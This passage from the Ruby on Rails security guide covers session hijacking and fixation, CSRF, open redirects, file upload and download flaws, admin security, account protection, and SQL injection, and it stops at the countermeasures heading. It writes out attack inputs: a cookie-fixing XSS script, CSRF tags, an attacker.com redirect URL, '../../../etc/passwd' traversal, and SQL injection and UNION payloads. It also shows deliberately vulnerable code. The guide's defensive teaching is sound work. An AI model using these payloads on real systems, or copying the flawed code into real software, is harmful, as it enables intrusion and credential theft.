A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date.

2.3 Session Hijacking

Stealing a user's session id lets an attacker use the web application in the victim's name.

Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session.

Hence, the cookie serves as temporary authentication for the web application. Anyone who seizes a cookie from someone else, may use the web application as this user - with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:

- Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN, it is especially easy to listen to the traffic of all connected clients. For the web application builder this means to provide a secure connection over SSL. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file:

config.force_ssl = true

- Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a log-out button in the web application, and make it prominent.

- Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read more about XSS later.

- Instead of stealing a cookie unknown to the attacker, they fix a user's session identifier (in the cookie) known to them. Read more about this so-called session fixation later.

The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the Symantec Global Internet Security Threat Report.

2.4 Session Guidelines

Here are some general guidelines on sessions.

- Do not store large objects in a session. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below). This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.

- Critical data should not be stored in session. If the user clears their cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.

2.5 Session Storage

Rails provides several storage mechanisms for the session hashes. The most important is ActionDispatch::Session::CookieStore.

Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:

- Cookies imply a strict size limit of 4kB. This is fine as you should not store large amounts of data in a session anyway, as described before. Storing the current user's database id in a session is usually ok.

- The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, you don't want to store any secrets here. To prevent session hash tampering, a digest is calculated from the session with a server-side secret (secrets.secret_token) and inserted into the end of the cookie.

However, since Rails 4, the default store is EncryptedCookieStore. With EncryptedCookieStore the session is encrypted before being stored in a cookie. This prevents the user from accessing and tampering the content of the cookie. Thus the session becomes a more secure place to store data. The encryption is done using a server-side secret key secrets.secret_key_base stored in config/secrets.yml.

That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA1, for compatibility). So don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters, use rails secret instead.

secrets.secret_key_base is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get secrets.secret_key_base initialized to a random key present in config/secrets.yml, e.g.:

development:
secret_key_base: a75d...

test:
secret_key_base: 492f...

production:
secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>

Older versions of Rails use CookieStore, which uses secret_token instead of secret_key_base that is used by EncryptedCookieStore. Read the upgrade documentation for more information.

If you have received an application where the secret was exposed (e.g. an application whose source was shared), strongly consider changing the secret.

2.6 Replay Attacks for CookieStore Sessions

Another sort of attack you have to be aware of when using CookieStore is the replay attack.

It works like this:

- A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes).

- The user buys something.

- The new adjusted credit value is stored in the session.

- The user takes the cookie from the first step (which they previously copied) and replaces the current cookie in the browser.

- The user has their original credit back.

Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).

The best solution against it is not to store this kind of data in a session, but in the database. In this case store the credit in the database and the logged_in_user_id in the session.

2.7 Session Fixation

Apart from stealing a user's session id, the attacker may fix a session id known to them. This is called session fixation.

This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:

- The attacker creates a valid session id: They load the login page of the web application where they want to fix the session, and take the session id in the cookie from the response (see number 1 and 2 in the image).

- They maintain the session by accessing the web application periodically in order to keep an expiring session alive.

- The attacker forces the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: <script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>. Read more about XSS and injection later on.

- The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.

- As the new trap session is unused, the web application will require the user to authenticate.

- From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.

2.8 Session Fixation - Countermeasures

One line of code will protect you from session fixation.

The most effective countermeasure is to issue a new session identifier and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:

reset_session

If you use the popular Devise gem for user management, it will automatically expire sessions on sign in and sign out for you. If you roll your own, remember to expire the session after your sign in action (when the session is created). This will remove values from the session, therefore you will have to transfer them to the new session.

Another countermeasure is to save user-specific properties in the session, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. These might change over the course of a session, so these users will not be able to use your application, or only in a limited way.

2.9 Session Expiry

Sessions that never expire extend the time-frame for attacks such as cross-site request forgery (CSRF), session hijacking and session fixation.

One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to expire sessions in a database table. Call Session.sweep("20 minutes") to expire sessions that were used longer than 20 minutes ago.

class Session < ApplicationRecord
def self.sweep(time = 1.hour)
if time.is_a?(String)
time = time.split.inject { |count, unit| count.to_i.send(unit) }
end

delete_all "updated_at < '#{time.ago.to_s(:db)}'"
end
end

The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:

delete_all "updated_at < '#{time.ago.to_s(:db)}' OR
created_at < '#{2.days.ago.to_s(:db)}'"

3 Cross-Site Request Forgery (CSRF)

This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands.

In the session chapter you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is that if the request comes from a site of a different domain, it will also send the cookie. Let's start with an example:

- Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file: <img src="http://www.webapp.com/project/1/destroy">

- Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago.

- By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.

- The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.

- Bob doesn't notice the attack - but a few days later he finds out that project number one is gone.

It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere - in a forum, blog post or email.

CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) - less than 0.1% in 2006 - but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in many security contract works - CSRF is an important security issue.

3.1 CSRF Countermeasures

First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF.

The HTTP protocol basically provides two main types of requests - GET and POST (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:

Use GET if:

- The interaction is more like a question (i.e., it is a safe operation such as a query, read operation, or lookup).

Use POST if:

- The interaction is more like an order, or

- The interaction changes the state of the resource in a way that the user would perceive (e.g., a subscription to a service), or

- The user is held accountable for the results of the interaction.

If your web application is RESTful, you might be used to additional HTTP verbs, such as PATCH, PUT or DELETE. Most of today's web browsers, however, do not support them - only GET and POST. Rails uses a hidden _method field to handle this barrier.

POST requests can be sent automatically, too. In this example, the link www.harmless.com is shown as the destination in the browser's status bar. But it has actually dynamically created a new form that sends a POST request.

<a href="http://www.harmless.com/" onclick="
var f = document.createElement('form');
f.style.display = 'none';
this.parentNode.appendChild(f);
f.method = 'POST';
f.action = 'http://www.example.com/account/destroy';
f.submit();
return false;">To the harmless survey</a>

Or the attacker places the code into the onmouseover event handler of an image:

<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />

There are many other possibilities, like using a <script> tag to make a cross-site request to a URL with a JSONP or JavaScript response. The response is executable code that the attacker can find a way to run, possibly extracting sensitive data. To protect against this data leakage, we must disallow cross-site <script> tags. Ajax requests, however, obey the browser's same-origin policy (only your own site is allowed to initiate XmlHttpRequest) so we can safely allow them to return JavaScript responses.

Note: We can't distinguish a <script> tag's origin—whether it's a tag on your own site or on some other malicious site—so we must block all <script> across the board, even if it's actually a safe same-origin script served from your own site. In these cases, explicitly skip CSRF protection on actions that serve JavaScript meant for a <script> tag.

To protect against all other forged requests, we introduce a required security token that our site knows but other sites don't know. We include the security token in requests and verify it on the server. This is a one-liner in your application controller, and is the default for newly created rails applications:

protect_from_forgery with: :exception

This will automatically include a security token in all forms and Ajax requests generated by Rails. If the security token doesn't match what was expected, an exception will be thrown.

By default, Rails includes jQuery and an unobtrusive scripting adapter for jQuery, which adds a header called X-CSRF-Token on every non-GET Ajax call made by jQuery with the security token. Without this header, non-GET Ajax requests won't be accepted by Rails. When using another library to make Ajax calls, it is necessary to add the security token as a default header for Ajax calls in your library. To get the token, have a look at <meta name='csrf-token' content='THE-TOKEN'> tag printed by <%= csrf_meta_tags %> in your application view.

It is common to use persistent cookies to store user information, with cookies.permanent for example. In this case, the cookies will not be cleared and the out of the box CSRF protection will not be effective. If you are using a different cookie store than the session for this information, you must handle what to do with it yourself:

rescue_from ActionController::InvalidAuthenticityToken do |exception|
sign_out_user # Example method that will destroy the user cookies
end

The above method can be placed in the ApplicationController and will be called when a CSRF token is not present or is incorrect on a non-GET request.

Note that cross-site scripting (XSS) vulnerabilities bypass all CSRF protections. XSS gives the attacker access to all elements on a page, so they can read the CSRF security token from a form or directly submit the form. Read more about XSS later.

4 Redirection and Files

Another class of security vulnerabilities surrounds the use of redirection and files in web applications.

4.1 Redirection

Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, they may also create a self-contained attack.

Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action:

def legacy
redirect_to(params.update(action:'main'))
end

This will redirect the user to the main action if they tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can be exploited by attacker if they included a host key in the URL:

http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com

If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to include only the expected parameters in a legacy action (again a whitelist approach, as opposed to removing unexpected parameters). And if you redirect to a URL, check it with a whitelist or a regular expression.

4.1.1 Self-contained XSS

Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:

data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, do not allow the user to supply (parts of) the URL to be redirected to.

4.2 File Uploads

Make sure file uploads don't overwrite important files, and process media files asynchronously.

Many web applications allow users to upload files. File names, which the user may choose (partly), should always be filtered as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like "../../../etc/passwd", it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so - one more reason to run web servers, database servers and other programs as a less privileged Unix user.

When filtering user input file names, don't try to remove malicious parts. Think of a situation where the web application removes all "../" in a file name and an attacker uses a string such as "....//" - the result will be "../". It is best to use a whitelist approach, which checks for the validity of a file name with a set of accepted characters. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the attachment_fu plugin:

def sanitize_filename(filename)
filename.strip.tap do |name|
# NOTE: File.basename doesn't work right with Windows paths on Unix
# get only the filename, not the whole path
name.sub! /\A.*(\\|\/)/, ''
# Finally, replace all non alphanumeric, underscore
# or periods with underscore
name.gsub! /[^\w\.\-]/, '_'
end
end

A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its vulnerability to denial-of-service attacks. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.

The solution to this is best to process media files asynchronously: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.

4.3 Executable Code in File Uploads

Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails' /public directory if it is Apache's home directory.

The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file "file.cgi" with code in it, which will be executed when someone downloads the file.

If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it, store files at least one level downwards.

4.4 File Downloads

Make sure users cannot download arbitrary files.

Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:

send_file('/var/www/uploads/' + params[:filename])

Simply pass a file name like "../../../etc/passwd" to download the server's login information. A simple solution against this, is to check that the requested file is in the expected directory:

basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename !=
File.expand_path(File.join(File.dirname(filename), '../../../'))
send_file filename, disposition: 'inline'

Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.

5 Intranet and Admin Security

Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world.

In 2007 there was the first tailor-made trojan which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.

XSS If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.

Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.

Refer to the Injection section for countermeasures against XSS. It is recommended to use the SafeErb plugin also in an Intranet or administration interface.

CSRF Cross-Site Request Forgery (CSRF), also known as Cross-Site Reference Forgery (XSRF), is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.

A real-world example is a router reconfiguration by CSRF. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for the user, but it also contained an image tag that resulted in an HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had their credentials stolen.

Another example changed Google Adsense's e-mail address and password. If the victim was logged into Google Adsense, the administration interface for Google advertisement campaigns, an attacker could change the credentials of the victim.

Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.

For countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section.

5.1 Additional Precautions

The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:

- It is very important to think about the worst case: What if someone really got hold of your cookies or user credentials. You could introduce roles for the admin interface to limit the possibilities of the attacker. Or how about special login credentials for the admin interface, other than the ones used for the public part of the application. Or a special password for very serious actions?

- Does the admin really have to access the interface from everywhere in the world? Think about limiting the login to a bunch of source IP addresses. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.

- Put the admin interface to a special sub-domain such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.

6 User Management

Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure.

There are a number of authentication plug-ins for Rails available. Good ones, such as the popular devise and authlogic, store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in has_secure_password method which has similar features.

Every new user gets an activation code to activate their account when they get an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested a URL like these, they would be logged in as the first activated user found in the database (and chances are that this is the administrator):

http://localhost:3006/user/activate
http://localhost:3006/user/activate?id=

This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:

User.find_by_activation_code(params[:id])

If the parameter was nil, the resulting SQL query will be

SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1

And thus it found the first user in the database, returned it and logged them in. You can find out more about it in this blog post. It is advisable to update your plug-ins from time to time. Moreover, you can review your application to find more flaws like this.

6.1 Brute-Forcing Accounts

Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA.

A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user names and a dictionary, an automatic program may find the correct password in a matter of minutes.

Because of this, most web applications will display a generic error message "user name or password not correct", if one of these are not correct. If it said "the user name you entered has not been found", an attacker could automatically compile a list of user names.

However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.

In order to mitigate such attacks, display a generic error message on forgot-password pages, too. Moreover, you can require to enter a CAPTCHA after a number of failed logins from a certain IP address. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.

6.2 Account Hijacking

Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?.

6.2.1 Passwords

Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring them to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, make change-password forms safe against CSRF, of course. And require the user to enter the old password when changing it.

6.2.2 E-Mail

However, the attacker may also take over the account by changing the e-mail address. After they change it, they will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure require the user to enter the password when changing the e-mail address, too.

6.2.3 Other

Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in Google Mail. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in an HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to their e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, review your application logic and eliminate all XSS and CSRF vulnerabilities.

6.3 CAPTCHAs

A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect registration forms from attackers and comment forms from automatic spam bots by asking the user to type the letters of a distorted image. This is the positive CAPTCHA, but there is also the negative CAPTCHA. The idea of a negative CAPTCHA is not for a user to prove that they are human, but reveal that a robot is a robot.

A popular positive CAPTCHA API is reCAPTCHA which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. ReCAPTCHA is also a Rails plug-in with the same name as the API.

You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails. The problem with CAPTCHAs is that they have a negative impact on the user experience. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. Still, positive CAPTCHAs are one of the best methods to prevent all kinds of bots from submitting forms.

Most bots are really dumb. They crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.

Note that negative CAPTCHAs are only effective against dumb bots and won't suffice to protect critical applications from targeted bots. Still, the negative and positive CAPTCHAs can be combined to increase the performance, e.g., if the "honeypot" field is not empty (bot detected), you won't need to verify the positive CAPTCHA, which would require an HTTPS request to Google ReCaptcha before computing the response.

Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:

- position the fields off of the visible area of the page

- make the elements very small or color them the same as the background of the page

- leave the fields displayed, but tell humans to leave them blank

The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.

You can find more sophisticated negative CAPTCHAs in Ned Batchelder's blog post:

- Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.

- Randomize the field names

- Include more than one honeypot field of all types, including submission buttons

Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So negative CAPTCHAs might not be good to protect login forms.

6.4 Logging

Tell Rails not to put passwords in the log files.

By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can filter certain request parameters from your log files by appending them to config.filter_parameters in the application configuration. These parameters will be marked [FILTERED] in the log.

config.filter_parameters << :password

Provided parameters will be filtered out by partial matching regular expression. Rails adds default :password in the appropriate initializer (initializers/filter_parameter_logging.rb) and cares about typical application parameters password and password_confirmation.

6.5 Good Passwords

Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence.

Bruce Schneier, a security technologist, has analyzed 34,000 real-world user names and passwords from the MySpace phishing attack mentioned below. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:

password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey.

It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.

A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the first letters of a sentence that you can easily remember. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.

6.6 Regular Expressions

A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z.

Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books get this wrong. So how is this a security threat? Say you wanted to loosely validate a URL field and you used a simple regular expression like this:

/^https?:\/\/[^\n]+$/i

This may work fine in some languages. However, in Ruby ^ and $ match the line beginning and line end. And thus a URL like this passes the filter without problems:

javascript:exploit_code();/*
http://hi.com
*/

This URL passes the filter because the regular expression matches - the second line, the rest does not matter. Now imagine we had a view that showed the URL like this:

link_to "Homepage", @user.homepage

The link looks innocent to visitors, but when it's clicked, it will execute the JavaScript function "exploit_code" or any other JavaScript the attacker provides.

To fix the regular expression, \A and \z should be used instead of ^ and $, like so:

/\Ahttps?:\/\/[^\n]+\z/i

Since this is a frequent mistake, the format validator (validates_format_of) now raises an exception if the provided regular expression starts with ^ or ends with $. If you do need to use ^ and $ instead of \A and \z (which is rare), you can set the :multiline option to true, like so:

# content should include a line "Meanwhile" anywhere in the string
validates :content, format: { with: /^Meanwhile$/, multiline: true }

Note that this only protects you against the most common mistake when using the format validator - you always need to keep in mind that ^ and $ match the line beginning and line end in Ruby, and not the beginning and end of a string.

6.7 Privilege Escalation

Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it.

The most common parameter that a user might tamper with, is the id parameter, as in http://www.domain.com/project/1, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this:

@project = Project.find(params[:id])

This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and they are not allowed to see that information, they will have access to it anyway. Instead, query the user's access rights, too:

@project = @current_user.projects.find(params[:id])

Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated.

Don't be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.

7 Injection

Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection.

Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.

7.1 Whitelists versus Blacklists

When sanitizing, protecting or verifying something, prefer whitelists over blacklists.

A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although sometimes it is not possible to create a whitelist (in a SPAM filter, for example), prefer to use whitelist approaches:

- Use before_action except: [...] instead of only: [...] for security-related actions. This way you don't forget to enable security checks for newly added actions.

- Allow <strong> instead of removing <script> against Cross-Site Scripting (XSS). See below for details.

- Don't try to correct user input by blacklists:

- This will make the attack work: "<sc<script>ript>".gsub("<script>", "")

- But reject malformed input

Whitelists are also a good approach against the human factor of forgetting something in the blacklist.

7.2 SQL Injection

Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem.

7.2.1 Introduction

SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query:

Project.where("name = '#{params[:name]}'")

This could be in a search action and the user may enter a project's name that they want to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be:

SELECT * FROM projects WHERE name = '' OR 1 --'

The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records.

7.2.2 Bypassing Authorization

Usually a web application includes access control. The user enters their login credentials and the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user.

User.first("login = '#{params[:name]}' AND password = '#{params[:password]}'")

If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be:

SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1

This will simply find the first record in the database, and grants access to this user.

7.2.3 Unauthorized Reading

The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above:

Project.where("name = '#{params[:name]}'")

And now let's inject another query using the UNION statement:

') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users --

This will result in the following SQL query:

SELECT * FROM projects WHERE (name = '') UNION
SELECT id,login AS name,password AS description,1,1,1 FROM users --'

The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query.

Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails to at least 2.1.1.

7.2.4 Countermeasures

